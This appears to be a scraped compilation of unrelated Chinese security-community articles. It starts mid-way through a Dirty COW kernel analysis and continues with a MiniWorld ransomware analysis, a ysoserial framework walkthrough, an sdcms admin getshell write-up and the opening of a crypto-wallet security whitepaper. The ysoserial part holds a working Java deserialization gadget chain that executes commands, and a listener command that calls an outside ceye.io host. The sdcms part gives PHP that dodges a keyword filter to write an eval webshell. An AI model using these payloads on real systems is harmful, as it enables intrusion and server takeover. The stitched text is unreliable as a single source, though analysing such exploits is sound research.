maybe_mkwrite(){
//这就是maybe_mkwrite不会标记页为可写的原因，因为这个页为只读页。所以不满足if的条件
if (likely(vma->vm_flags & VM_WRITE))
pte = pte_mkwrite(pte);
return pte;
}
假设我们通过Mappedaddr=mmap(NULL,filesize,PROT_READ,MAP_PRIVATE,fd,0);获取了一个只读文件的只读内存映射，然后创建两个线程，Thread1通过不断写/proc/self/mem来写Mappedaddr指向的位置，Thread2不断调用madvice(Mappedaddr,len,MADV_DONTNEED)来将Mappedaddr的页表项置空。
基于以上假设，我们来分析内核的控制流。这个控制流分析的代码部分是老外写的([原文链接](https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails))，秉持着开源的精神和思想，我引用了过来并加了一下注释。
write系统调用在内核中会执行get_user_pages以获取需要写入的内存页，get_user_pages函数会调用follow_page_mask函数寻找内存页对应的页表项，由于这是mmap后第一次对Mappedmem进行操作，所以Mappedmem所对应的页表为空，pagefault，get_user_pages调用faultin_page函数进行处理，faultin_page函数会调用handle_mm_fault进行缺页处理。缺页处理时，如果页表为空，内核会调用do_fault函数调页，这个函数会检查是否是因为内存写造成的缺页以及该内存是否是以private方式map的内存，如果是，则会进行COW操作，更新页表为COW后的页表。并将返回值的FAULTFLAGWRITE位置为1（正确分词：某某位
置为1，下同）
faultin_page
handle_mm_fault
__handle_mm_fault
handle_pte_fault
do_fault <- pte is not present
do_cow_fault <- FAULT_FLAG_WRITE
alloc_set_pte
maybe_mkwrite(pte_mkdirty(entry), vma) <- mark the page dirty
but keep it RO
get_user_pages会第二次调用follow_page_mask寻找页表项，follow_page_mask会调用follow_page_pte函数，这个函数会通过flag参数的FOLL_WRITE位是否为1判断要是否需要该页具有写权限，以及通过页表项的VM_WRITE位是否为1来判断该页是否可写。由于Mappedmem是以PROT_READ和MAP_PRIVATE的的形式进行映射的。所以VM_WRITE为0，又因为我们要求页表项要具有写权限，所以FOLL_WRITE为1，从而导致这次寻页会再次触发一个pagefault，faultin_page会再次调用handle_mm_fault进行处理。
# Returns with 0 and retry
follow_page_mask
follow_page_pte
(flags & FOLL_WRITE) && !pte_write(pte) <- retry fault
由于这次pagefault时页表不为空，所以不会执行do_fault函数调页，转而会去检查pagefault是否是由于要写不可写的地址导致的，如果是则会调用do_wp_page进行COW操作，不过值得注意的是，do_wp_page会进行一系列的检查来判断是否需要真的进行COW操作，如果没必要，则会直接REUSE原来的页来作为COW后的页。因为在调页过程中已经进行过COW过了，所以直接reuse了调页COW后的内存页。之后handle_mm_fault的返回值的VM_FAULT_WRITE位会被置为1。接着faultin_page会通过判断handle_mm_fault返回值的VM_FAULT_WRITE位是否为1来判断COW是否顺利完成，以及通过页表项VM_WRITE位是否为1来判断该内存是否可写。如果内存不可写且COW操作已经顺利完成，这说明mmap的内存区本来就是只读内存，因此为将FOLL_WRITE位置为0并返回到get_user_pages函数中
faultin_page
handle_mm_fault
__handle_mm_fault
handle_pte_fault
FAULT_FLAG_WRITE && !pte_write
do_wp_page
PageAnon() <- this is CoWed page already
reuse_swap_page <- page is exclusively ours
wp_page_reuse
maybe_mkwrite <- dirty but RO again
ret = VM_FAULT_WRITE
((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE)) <- we drop FOLL_WRITE
get_user_pages第三次调用follow_page_mask进行寻页，注意此时的FOLL_WRITE已被置为0，也就是在寻页的时候不再需要页具有写权限。正常来说，这次寻页会成功的得到Mappedmem的页表项从而继续进行写操作。但是如果这时Thread2通过madvise(Mappedmem,DONT_NEED)系统调用，通知内核Mappedmem在接下来不会被使用。内核会将Mappedmem所在页的页表项置为空。这样就再次导致了pagefault，内核会调用do_fault函数调页。不过由于这次寻页并不要求被寻找的页具有写权限，所以不会像第一次那样在缺页处理时COW。如果接下来get_user_pages第四次调用follow_page_mask进行寻页的话，会成功返回对应的页表项，接下来的写入操作会被同步到只读的文件中。从而造成了越权写。
# Returns with 0 and retry as a read fault
cond_resched -> different thread will now unmap via madvise
follow_page_mask
!pte_present && pte_none
faultin_page
handle_mm_fault
__handle_mm_fault
handle_pte_fault
do_fault <- pte is not present
do_read_fault <- this is a read fault and we will get pagecache
page!
**参考文献**
1\. <http://lxr.free-electrons.com/source/mm/gup.c>
2\. <http://lxr.free-electrons.com/source/include/linux/mm.h>
3\. <http://lxr.free-electrons.com/source/mm/memory.c>
4\. <https://github.com/dirtycow/>
5\. <http://blog.csdn.net/chenyu105/article/details/8653564>
6\. <http://blog.csdn.net/chenyu105/article/details/7061845>
7\. <http://www.cnblogs.com/biyeymyhjob/archive/2012/07/20/2601655.html>
8\. <http://blog.chinaunix.net/uid-16723279-id-3997363.html>
9\. <http://blog.csdn.net/vanbreaker/article/details/7881206>
10\. <http://blog.csdn.net/vanbreaker/article/details/7955713> | 社区文章 |
# 迷你世界勒索病毒，你的文件被删了吗？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
近日，笔者在某恶意软件沙箱平台分析样本的时候，发现了一款比较有意思的勒索病毒MiniWorld迷你世界勒索病毒，它的解密界面与此前的WannaCry勒索病毒的界面相似，应该是作者仿冒的WannaCry的UI，如下所示：
这款勒索病毒既然要求受害者从指定的网站上购买Minecraft Java
Editon，购买网站的链接：[https://www.minecraft.net/zh-hans/store/minecraft-java-edition，](https://www.minecraft.net/zh-hans/store/minecraft-java-edition%EF%BC%8C) 如下所示：
勒索病毒要求受害者购买指定的游戏，这也算是一种新的勒索方式了，此前笔者跟踪过一款绝地求生勒索软件，受害者需要通过玩游戏解锁文件，现在这款新型的迷你世界勒索病毒，竟然直接要求受害者购买这款游戏，通过样本关联，追踪到这款勒索病毒的母体程序，程序名为迷你世界，如下所示：
通过分析样本的上传信息，显示为CN，猜测在7月16号左右应该已经有国内用户中招了，如下所示：
从恶意软件平台下载这款勒索病毒的母体程序，发现这个母体程序，还带有相关的数字签名，如下所示：
这个证书的有效期从2021/7/14到2040/1/1，如下所示：
同时这个母体会释放相应的更新程序，从网站上下载游戏的更新包程序，更新包程序信息，如下所示：
通过上面的初步分析，发现这款勒索病毒有点意思，笔者决定详细跟踪分析一下，看看这款新型勒索病毒究竟做了什么？它又为什么要推广这款游戏呢？
## 详细分析
对母体样本和勒索病毒样本进行详细分析，相关的行为特征，如下所示：
母体程序，会在TEMP目录下生成相关的病毒程序和游戏更新程序，如下所示：
通过分析显示这几个程序都是使用PureBasic编写的，这款勒索病毒主要功能主要通过执行核心的三个BAT脚本来完成，详细分析过程笔者就省略了，读者可以自己去摸索，恶意软件逆向分析是一项很有趣，但又需要花费很多时间和精力去做的事情，通过分析母体程序BAT脚本，内容如下所示：
这个脚本主要功能就是生成勒索病毒程序和启动程序，然后将启动程序设置为自启动，如下所示：
启动程序BAT脚本，内容如下所示：
这个脚本的主要功能就是启动游戏更新程序，然后再执行勒索病毒，游戏更新程序，如下所示：
下载上面的游戏更新包，如下所示：
勒索病毒BAT脚本，删除磁盘数据，如下所示：
修改指定目录下的文件，修改后的文件后缀名为：MCNB，并修改权限，如下所示：
在各个磁盘下面生成勒索病毒解密程序[@RecoveryYourFiles](https://github.com/RecoveryYourFiles
"@RecoveryYourFiles")@.exe的备份以及勒索病毒提示文件[@readme](https://github.com/readme
"@readme")@.txt的备份，如下所示：
将启动程序设置为新的自启动项程序，如下所示：
设置的自启动项，如下所示：
最后执行勒索解密提示程序，弹出勒索解密界面，该勒索病毒基本上就分析完成了。
## 威胁情报
HASH
08684A98326E5E871EE7832859FF16DA
15F71F76E53975F8276B6736741342F3
0AD083F1AB7F60A008B32B061585CD30
A8B1F3A1FF16FACAB894394044460A67
DE756B93882386B7EF059489D1E56CA0
73BD542373E567ABEEE1E71EB62670B1
7866A5A1582F206546BF8C8C89F74671
E9B7F5E881A2ACEDAED2AB8A383AE868
B5688F193F0C5EF130C423EB422B012F
## 总结
通过详细分析这款新型的勒索病毒，主要功能就是删除了磁盘的文件，然后修改了一些指定目录下的文件和文件夹权限等，并没有什么机制来还原这些文件，仅仅是为了骗取受害者购买安装游戏，这也算是一种新型的勒索方式，算不算诈骗呢？至于这款勒索病毒为什么要受害者去购买minecraft游戏，通过这款新型的勒索病毒来推广minecraft游戏，可能需要迷你世界游戏公司自己去内部排查了，就不瞎猜测了，嘿嘿。
同时笔者发现这款新型的迷你世界勒索病毒的黑客邮件地址为：[[email protected]](mailto:[email protected])，如下所示：
这个邮箱地址与旧版的STOP勒索病毒的黑客邮件地址一样，这难倒是一种巧合，还是这款勒索病毒的作者有意而为之，从笔者目前分析的结果来看，这款勒索病毒除了留的黑客邮箱地址与STOP勒索病毒的旧邮箱地址相同以外，没有任何证据显示这款勒索病毒背后的黑客团伙与STOP勒索病毒背后的黑客团伙有任何关系，也许仅仅是为了迷惑安全分析人员，也许是为了栽脏STOP勒索病毒，想让STOP勒索病毒背后的黑客团伙来背锅，哈哈哈哈，STOP勒索病毒是一款非常流行的勒索病毒，主要通过捆绑其他破解软件、游戏辅助程序、一些常用软件等渠道进行传播，最近一两年STOP勒索病毒通过捆绑KMS激活工具进行传播，以及其他一些防病毒软件等，到目前为止，此勒索病毒一共有一百多个不同的加密变种，此前Emsisoft公司发布过一款解密工具，可以解密大多数变种，不过STOP一直在更新，最新的版本暂时无法解密，笔者跟踪到的最新的STOP勒索病毒，加密后的文件后缀名为：gujd，黑客的邮箱地址已经更新为：[[email protected]](mailto:[email protected])、[[email protected]](mailto:[email protected])。
勒索病毒现在越来越多了，而且不断有新的组织加入到勒索病毒攻击活动当中，不管是新型的勒索病毒黑客组织，还是已知的勒索病毒黑客组织都一直在寻找新的目标，从来没有停止过发起新的攻击，未来几年勒索攻击仍然是全球最大的安全威胁。 | 社区文章 |
# ysoserial 结构分析与使用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
很早就接触了ysoserial这款工具，堪称为“java反序列利用神器”，有很多大佬针对这款工具的payload生成姿势分析的非常透彻，但很少分析这个工具的架构以及其使用时的一些坑点，因此写下本文与大家分享。同时也从中学习到了一些工具编写的设计思想，希望能够运用到自己工具当中。
## 0x01 下载编译使用
### 0x1 下载
从github上直接下载
`git clone https://github.com/frohoff/ysoserial.git`
### 0x2 编译
根据github上的编译提示，会出现编译错误
Requires Java 1.7+ and Maven 3.x+
mvn clean package -DskipTests
错误信息如下，主要是因为在pom.xml缺少commons-io的依赖
在pom.xml的dependencies标签里添加依赖项
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.4</version>
</dependency>
再次执行`mvn clean package -DskipTests`，编译成功在target目录下生成相对应的jar包
### 0x3 使用
主要有两种使用方式，一种是运行ysoserial.jar 中的主类函数，另一种是运行ysoserial中的exploit
类，二者的效果是不一样的，一般用第二种方式开启交互服务于。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPListener 38471
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2 rce.267hqw.ceye.io'
这两种方式在之后的代码分析中会详细分析。
## 0x02 架构分析
从整体设计模式上分析该工具的编写方法，项目整体的目录结构如下所示：
|____ysoserial
| |____exploit
| | |____JRMPClient.java
| | |____JRMPListener.java
| |____secmgr
| | |____DelegateSecurityManager.java
| | |____ExecCheckingSecurityManager.java
| |____payloads
| | |____CommonsCollections3.java
| | |____ObjectPayload.java
| | |____util
| | | |____PayloadRunner.java
| | | |____Gadgets.java
| | | |____Reflections.java
| | | |____ClassFiles.java
| | | |____JavaVersion.java
| | |____annotation
| | | |____PayloadTest.java
| | | |____Authors.java
| | | |____Dependencies.java
| |____GeneratePayload.java
| |____Serializer.java
| |____Strings.java
| |____Deserializer.java
大体分为生成代码、利用库（工具库）、payloads库、序列化库 这四大库。
### 0x1 配置文件
从Maven项目的pom配置文件开始分析，pom.xml 的整体缩略图如下：
该配置文件主要对 build、dependencies、profiles 这五大方面进行配置。
**1\. build**
配置编译打包相关操作，配置项目插件属性，在本项目中主要配置后者
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<finalName>${project.artifactId}-${project.version}-all</finalName>
<appendAssemblyId>false</appendAssemblyId>
<archive>
<manifest>
<mainClass>ysoserial.GeneratePayload</mainClass>
</manifest>
</archive>
<descriptor>assembly.xml</descriptor>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
在该配置中可以分析出，该项目编译之后的名称finalName，在编译后的jar包中的主执行类 ysoserial.GeneratePayload 。
**2\. dependencies**
该标签是maven项目中用于配置项目依赖的核心配置，通过子标签的形式，将项目中的所有依赖jar包写在子配置中，类似如下配置：
在编译ysoserial 项目时要添加Commons-io依赖，需要指定版本以及artifactId
**3\. profiles**
profile可以定义一系列的配置信息，然后指定其激活条件。这样我们就可以定义多个profile，然后每个profile对应不同的激活条件和配置信息，从而达到不同环境使用不同配置信息的效果。
### 0x2 整体结构
从jar包主类出发分析出整个jar包内部的类关系图
好在是项目中的类关系较为简单从图中可以看出，大体分为四个类结构
类名 | 作用
---|---
GeneratePayload | 生成对应序列化内容
ObjectPayload(Utils) | payload抽象类
*Serializer | 序列化与反序列工具
PayloadRunner | 测试反序列化利用链
对于类关系可以从三种执行方式考虑，详细的分析在代码功能模块
1. 执行jar包生成指定类反序列payload
2. 测试payload 利用效果
3. 执行exploit文件夹下的代码，开启服务
## 0x03 代码分析
对框架有了大概的认识之后，分析框架实现，以及其代码设计思想。
### 0x1 动态调试
利用idea
导入Maven项目，之后利用pom.xml的包依赖关系下载对应的jar包，配置相关调试信息。这里需要注意的是idea调试jre环境最好是java 1.7
因为在1.7版本之后AnnotationInvocationHandler的反序列化利用链就被补了，为了方便调试选择对应的jdk版本。
### 0x2 入口函数
从pom.xml得知入口类函数为
函数调用关系如下图所示：
入口函数接受了来自命令行传进来的参数，分别用`payloadType`和`command`参数接收。之后通过getPayloadClass函数反射生成对应的类，有了类之后newInstance生成实例，利用getObject方法获取填好利用链的对象，通过Serializer.serialize函数生成序列化后内容，之后销毁对象。
### 0x3 Utils库分析
Utils中主要利用反射生成对应类
**1\. getPayloadClass**
在Utils类中有两个该方法的重载，分析其中一个
这里需要定义 clazz 类型为`Class<? extends ObjectPayload<?>>`
，估计会有很对纳闷这个class类型为什么这么复杂。这就需要理解泛型中的类关系了。在泛型中关键部分使用object函数和最底级类擦除的，因此其类关系如下
利用Class.forName函数获取对应类
**2\. makePayloadObject**
该函数是在执行exploit函数时一键式获取序列化内容，相关逻辑如下
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);//获取对应类
......
final ObjectPayload payload = payloadClass.newInstance();//生成对象
payloadObject = payload.getObject(payloadArg);//生产带有反序列化链的数据
主要是exploit模块调用该功能，用于生成服务协议相关的交互式序列化利用链。
**3\. releasePayload**
释放对象内存
( (ReleaseableObjectPayload) payload ).release(object);
### 0x4 序列化与反序列化
代码单独存在两个文件中，分别完成包含利用链对象的序列化与反序列化工作。
为了测试方便在Deserializer类中包含了测试函数，从文件中读取序列化内容并进行反序列化触发验证漏洞。
public static void main(String[] args) throws ClassNotFoundException, IOException {
final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
Object object = deserialize(in);
}
### 0x5 payloads库
这里面内容就是ysoserial工具的核心了，包含了大量的反序列化链，使得反序列化漏洞利用更加简单方便。可归结为以下几个
利用 | 库版本
---|---
CommonsCollections1 | commons-collections:3.1
CommonsCollections2 | commons-collections4:4.0
CommonsCollections3 | commons-collections:3.1
CommonsCollections4 | commons-collections4:4.0
CommonsCollections5 | commons-collections:3.1
CommonsCollections6 | commons-collections:3.1
CommonsCollections7 | commons-collections:3.1
BeanShell1 | bsh:2.0b5
C3P0 | c3p0:0.9.5.2、mchange-commons-java:0.2.11
Groovy1 | groovy:2.3.9
Jdk7u21 | groovy:2.3.9
Spring1 | spring-core:4.1.4.RELEASE、spring-beans:4.1.4.RELEASE
URLDNS |
rome:1.0 | rome:1.0
以后会单独写文章对这些利用链进行详细的分析
### 0x6 exploit库
该库主要是开启交互式服务，例如如下使用方法
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections1 'open /Applications/Calculator.app/'
目前包含了多种利用方式JBoss、Jenkins、JMX、JRMP、JSF、RMI等。这里以JRMPListener为样例，分析该模块的编写方法。
利用utils库中的makepayload方法生成payload，调用集成好的JRMP服务端，等待客户端的连接，之后给客户端发送payload执行。
### 0x7 测试类
PayloadRunner为测试类，主要负责在编写添加payloads库之后测试其效果。使用方法如下：
在payloads单个类中添加main方法
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsBeanutils1.class, args);
}
从下面可以看出其测试的逻辑
1. 对传入的class用newInstance实例化
2. 调用对象的getObject方法
3. 获取到填充好利用链的对象
4. 调用序列化方法进行序列化输出
5. 调用反序列化函数触发序列化利用链
## 0x04 扩展payload库
将自己编写的payload放在下载的包中：路径ysoserial/src/main/java/ysoserial/payloads/，需要注意以下几点：
1. 实现ObjectPayload接口
2. 添加PayloadRunner测试方法
3. 编写说明和注意事项
通过分析一条AnnotationInvocationHandler链，在ysoserail中编写自己的利用链。Transformer
利用链是反序列化利用链里最最基础的一个，下面对其进行简单的介绍。
### 0x1 InvokerTransformer
该类完成了最后的命令执行，其代码如下：
从参数中getClass获得 **对象类**
，利用反射的方法从类中获取方法对象（在参数中需指定方法名和参数），之后invoke该方法类（普通类需填充类对象作为参数）
因此在使用触发命令的时候就比较容易构造了
public class test {
public static void main(String[] args) {
InvokerTransformer it = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
it.transform(Runtime.getRuntime());
}
}
需要注意的是getMethod函数的两个参数均为数组，一个为类数组另一个为对象数组，用来表示参数的类型和内容。最后利用transform进行触发执行命令，之后再拓展利用链。
### 0x2 ChainedTransformer
链的形式就是一环扣一环，在本链中InvokerTransformer的触发在ChainedTransformer 的 transform 函数有调用
for循环调用transform数组元素的transform方法
### 0x3 TransformedMap
在TransformedMap的checkSetValue方法中涉及到了对valueTransformer对象调用transform方法，该对象正好是Transformer类
向上溯源找到同一类中的checkSetValue调用
在之后的分析中只需关注谁调用了TransformedMap的setValue方法就可以了，valueTransformer对象的赋值在构造方法中，因为构造方法为protected，所以可以采用public
static 方法decorate调用，参数都是一样的。
### 0x4 AnnotationInvocationHandler
该注解类重写了父类的readObject方法并实现了Serializable接口，通过简单分析发现了其readObject方法中包含以下代码逻辑
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
Iterator var4 = this.memberValues.entrySet().iterator();
......
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
......
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
在类反序列的时候如果要反序列化的类有自己的readObject方法就会调用该方法而取代调用ObjectInputStream的defaultReadObject默认反序列化方法，分析发现调用了setValue方法，因此我们就可以在这里有所作为了。
### 0x5 编写payload库
利用transformer链构造一个ysoserial里面没有的序列化利用链，分析整个链在ysoserial中编写方法。
**1\. 构造链**
整个利用链可以用下图概括
**2\. 创建transformers数组**
目前网上构造Transformer数组的方法采用getMethod方法获取getRuntime方法，自己在编写利用时有个疑惑为什么不直接invoke调用getRuntime方法，这样岂不是更加简单方便，试验如下
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("getRuntime", null, null),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Transformer第一个元素会原状态返回， **如果ConstantTransformer参数设置的是Runtime.class
在第二个元素执行transform函数的时候就会抛异常**
，原因是InvokerTransformer会获取transform函数参数的类并调用getMethod函数，如果是Runtime.class
，它的getClass方法获取的是Object类，这时再搜索getRuntime方法时就会抛出异常，因此这里只能用Runtime对象当做链的第一个参数，但是问题又来了。
新的问题是在代码里编写调用transform触发函数是可以的，但是一旦反序列化该链就会报错， **因为
Runtime没有实现Serializable接口** ，所以这个想法就被彻底否掉了。最后还是采用以下写法
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("getRuntime", null, null),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
这样做的好处是，在生成链的全程new的对象都实现了Serializable接口，这意味他们都可以序列化。
**3\. 将数组放入TransformedMap**
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map inMap = new HashMap();
inMap.put("value", "aa");
Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);
这里有个坑如果inMap put 的key名必须是value，相关代码在AnnotationInvocationHandler
readObject方法中有所体现
从代码中很明显的看出在var3中get了value，所以如果var5的key不是value的话，在358行的if就不能就去，也就不能执行位于里面的触发链函数。
**4\. 反射获取AnnotationInvocationHandler对象**
AnnotationInvocationHandler不是public类，外部包不能直接创建。需要通过反射setAccessible(true)设置访问其中的私有方法。于是就有下面的代码
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });
ctor.setAccessible(true);
Object instance = ctor.newInstance(new Object[] { Retention.class, outMap });
**5\. 编写测试代码**
通过对ysoserial框架的分析，PayloadRunner是payload的测试方法，其中包含了序列化与模拟反序列化操作，主要测试反序列化链的攻击效果。代码如下
public static void main(String[] args) throws Exception {
PayloadRunner.run(mytest.class, args);
}
**6\. 整体代码**
自己编写的类需要继承和实现PayloadRunner类和ObjectPayload接口，方便测试和Payload生成，重写getObject方法并返回构造好的序列化链对象。
public class mytest extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
// new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("getRuntime", null, null),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map inMap = new HashMap();
inMap.put("value", "aa");
Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });
ctor.setAccessible(true);
Object instance = ctor.newInstance(new Object[] { Retention.class, outMap });
return instance;
}
public static void main(String[] args) throws Exception {
PayloadRunner.run(mytest.class, args);
}
}
## 0x05 总结
初步认识了ysoserial工具编写的架构，分析各个模块之间的耦合关系，该工具模块较为完整从payload选择、生成、测试、输出各个方面偶有考虑，从中学到了很多编写工具的方法，在最后也对该工具的扩展做了总结，但是目前来看还有很多没有分析到，比如那几个经典的反序列化利用链以及exploit库中的代码交互等等，会慢慢补上的。
## 参考文章
<https://m.yisu.com/zixun/53350.html>
<https://wooyun.js.org/drops/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%B7%A5%E5%85%B7ysoserial%E5%88%86%E6%9E%90.html> | 社区文章 |
[TOC]
# 1.前言
上集说到[sdcms v1.9最新版前台sql注入](https://xz.aliyun.com/t/6992 "sdcms
v1.9最新版前台sql注入")，通过注入运气好能进后台的话，然后就是getshell了。然后看了看后台controller目录里的文件，找到了一处可以getshell的地方，其实这个漏洞非常简单，就是一处写文件的功能
这个不是0day了，找到后发现网上已经有师傅申请了cve，提交了cnvd。
cve编号：CVE-2019-9651
cnvd链接：<https://www.cnvd.org.cn/flaw/show/CNVD-2019-07927>
这个是针对v1.7 版本的
cve编号：CVE-2018-19520
cnvd链接：<https://www.cnvd.org.cn/flaw/show/CNVD-2019-05942>
这个是针对v1.6版本的
仔细搜一下这两个cve编号，漏洞其实就是一个漏洞，官方的修复就是一直增加关键字过滤，其实并没有什么用
# 2.漏洞分析
后台controller目录里有很多php文件都被加密了，看不懂源码，然后也有几个文件没用加密
我是直接全局搜索的file_put_contents(，最终发现在\app\admin\controller\themecontroller.php的162行左右：
if(!APP_DEMO) file_put_contents($root,$text);
他是在edit函数里，
public function edit()
{
if(IS_POST)
{
$dir=$this->decode(F('t0'));
$dir=str_replace('..','',$dir);
$root='theme/'.$dir;
省略……
$text=self::deal_text($_POST['t2']);
$data=[[$text,'null','内容不能为空']];
if(check_bad($text)>0)
{
$data=array_merge($data,[[(1>1),'other','请勿提交非法内容']]);
}
$v=new sdcms_verify($data);
if($v->result())
{
if(strpos($root,'.php'))
{
$text="<?php if(!defined('IN_SDCMS')) exit;?>".$text;
}
if(!APP_DEMO) file_put_contents($root,$text);
$this->success('保存成功');
$data="<?php\nif(!defined('IN_SDCMS')) exit;\nreturn ".var_export($name, true).";\n?>";
if(!APP_DEMO) file_put_contents('theme/'.$theme.'/_note.php', $data);
}
else
{
$this->error($v->msg);
}
$this->add_log($this->msg);
}
else
{
省略……
}
}
$root仅看代码的话感觉有点复杂，还调用了decode函数，其实不用管，他就是你编辑的文件名称，网站后台会提供好变量t0
$data就是写的内容，经过check_bad处理了
check_bad在app/function.php的413行左右：
function check_bad($str)
{
$num=preg_match_all("/(phpinfo|eval|file_put_contents|file_get_contents|passthru|exec|chroot|scandir|proc_open|delfolder|unlink|mkdir|fopen|fread|fwrite|fputs|tmpfile|flock|chmod|delete|assert|_post|_get|_request|_file|create_function|array_walk|preg_replace|cookie)/Ui",$str,$match);
return $num?$num:0;
}
就是你写的内容不能有这么多字符串。其实这么多过滤并没有什么用，我看v1.7那个cve描述是说什么过滤不严，system可以用，其实完全没必要，把字符串拆开即可，让他生成个一句话木马
# 3.漏洞利用
先访问127.0.0.1/sdcms1.9/?m=admin&c=theme&a=index
点这个管理模板
就会看到一堆目录及文件，随便点一个php文件进去
我这里点的是top.php，然后输入以下代码：
<?php
$a = 'file_p'.'ut_contents';
$data = '<?php ev'.'al($_PO'.'ST[1])?>';
$a("chonger.php",$data);
?>
看吧，这不就没出现任何关键字……然后点下面的保存即可
然后访问一下主页，127.0.0.1/sdcms1.9/，他就会require到刚刚修改的文件top.php，一句话木马chonger.php就生成在网站根目录
# 4.下集预告
目前正在审计UsualToolCMS，前台目前感觉过滤很严，不太好整……
后台倒是找到getshell了，用处不大，本来就是小众cms
加把劲再看看尽力把坑给填上，说有下集预告那就肯定有下集
漏洞肯定会是前台的，只有后台getshell没有前台的注入我都不会发的，不好玩
UsualToolCMS万一找不着的话，那就换个cms搞
等着吧…… | 社区文章 |
# 360 | 数字货币钱包安全白皮书
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
区块链技术的迅速发展，使得数字货币渐渐走入的大众的视线，在2017年底，这股热潮达到顶峰，直接搅动着金融市场与科技市场，大量的数字货币交易流水催生了数字钱包开发行业，
根据钱包使用时的联网状态分为热钱包和冷钱包。
随着各种数字货币的诞生，为了方便用户记录地址和私钥，官方会同时发布全节点钱包，例如Bitcoin Core，Parity钱包
，同时也有一些第三方公司为了进一步提高用户体验，他们相继开发了如比特派，imToken，AToken，币信，币包等钱包APP，它们并不同步所有的区块数据，因此称其为轻钱包，这两种数字钱包都属于热钱包。冷钱包也称为硬件钱包，常见的冷钱包有库神钱包，Ledger
Nano
S，Trezor等，由于私钥不接触网络，相对安全性也较高。不过由于业务场景的快速迭代以及推广需求，无论热钱包还是冷钱包都会有一些的安全隐患会被忽视。
近期，我们对应用市场上流通的热钱包以及冷钱包进行了相关安全审核评估，发现了很多安全问题，360信息安全部依靠通过对各类攻击威胁的深入分析及多年的安全大数据积累，旨在区块链时代为数字货币钱包厂商提供安全性建议，保障厂商与用户的安全，因此发布数字货币钱包安全白皮书为其作为参考。
### 钱包APP安全现状
近期360安全团队发现了国外某知名钱包APP的一个钱包不正确加密存储漏洞，其钱包APP在第一次运行的时候，默认为用户创建一个新钱包并将钱包文件未加密存储在系统本地，攻击者可以读取存储的钱包文件，通过对钱包应用逆向分析等技术手段，还原该钱包的算法逻辑，并由此直接恢复出用户的助记词以及根密钥等敏感数据。
我们对目前热门的近二十款钱包APP进行了安全分析，从应用运行开始，创建助记词、备份数据、查看货币价值到进行交易，如下图我们的模拟攻击流程。
图：1-1 模拟黑客攻击流程
由于数字货币交易的一个安全重点就是运行环境，Android是一个非常庞大而且复杂的系统，APP的运行环境，针对数字钱包本身的功能设计，都将存在很大的安全隐患，如下图所示，我们将发现的安全风险较大的点进行归纳说明。
图:1-2 Top5的安全隐患
我们可以看到，在无root下的截屏、录屏可以将我们输入的助记词，交易密码等信息进行得到；利用Janus签名问题对APP进行伪造，将软件植入恶意代码，可以修改转账人地址等操作，这些都会令用户的钱财受到损失。
### 审计热钱包安全隐患
区块链在造就无数财富神话的同时，伴随着而来的，是一系列已经发生的区块链攻击事件。2017年11月，以太坊钱包Parity被爆漏洞，导致93万个以太坊被冻结，价值2.8亿美金。无独有偶，2018年1月，日本最大比特币交易所Coincheck被黑，价值5.3亿美金的NEM被盗。可见，力图去中心化的区块链金融，并不符合大众脑海中科技安全的第一印象。我们将钱包APP分为APP端与服务端，分别进行说明。
## 一、审计钱包APP端安全隐患
